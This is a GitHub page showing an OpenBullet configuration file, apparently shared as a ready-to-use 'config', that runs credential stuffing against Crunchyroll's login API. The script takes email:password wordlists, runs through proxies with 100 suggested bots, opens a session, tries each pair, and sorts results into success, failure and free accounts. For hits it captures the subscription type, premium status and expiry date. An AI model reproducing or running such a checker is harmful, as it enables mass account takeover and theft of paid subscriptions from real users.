forked from WangLee112/Config-Open-Bullet
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathCrunchyroll.loli
65 lines (55 loc) · 2 KB
/
Crunchyroll.loli
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
[SETTINGS]
{
"Name": "CrunchyRoll latest",
"SuggestedBots": 100,
"MaxCPM": 0,
"LastModified": "2020-11-04T10:48:09.0177544-08:00",
"AdditionalInfo": "Ricking#3224",
"Author": "Ricking#3224",
"Version": "1.2.9 Anomaly",
"LoliSave": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": true,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"EncodeData": false,
"AllowedWordlist1": "MailPass",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}
[SCRIPT]
#GUID FUNCTION GenerateGUID -> VAR "1"
FUNCTION RandomString "?h?h?h?h?h?h?h?h-?h?h?h?h-4?h?h?h-?h?h?h?h-?h?h?h?h?h?h?h?h?h?h?h?h" -> VAR "G"
REQUEST POST "https://api.crunchyroll.com/start_session.0.json"
CONTENT "device_type=com.crunchyroll.windows.desktop&device_id=<G>&access_token=LNDJgOit5yaRIWN"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
PARSE "<SOURCE>" JSON "session_id" -> VAR "ID"
REQUEST POST "https://api.crunchyroll.com/login.0.json"
CONTENT "account=<USER>&password=<PASS>&session_id=<ID>&locale=enUS&version=1.3.1.0&connectivity_type=ethernet"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
HEADER "Pragma: no-cache"
HEADER "Accept: */*"
KEYCHECK
KEYCHAIN Success OR
KEY "\"access_type\":\""
KEYCHAIN Failure OR
KEY "Incorrect login information"
KEYCHAIN Custom "FREE" OR
KEY "\"access_type\":null"
PARSE "<SOURCE>" JSON "access_type" -> CAP "Type"
PARSE "<SOURCE>" JSON "premium" -> CAP "Category"
PARSE "<SOURCE>" JSON "expires" -> CAP "ExpireDate"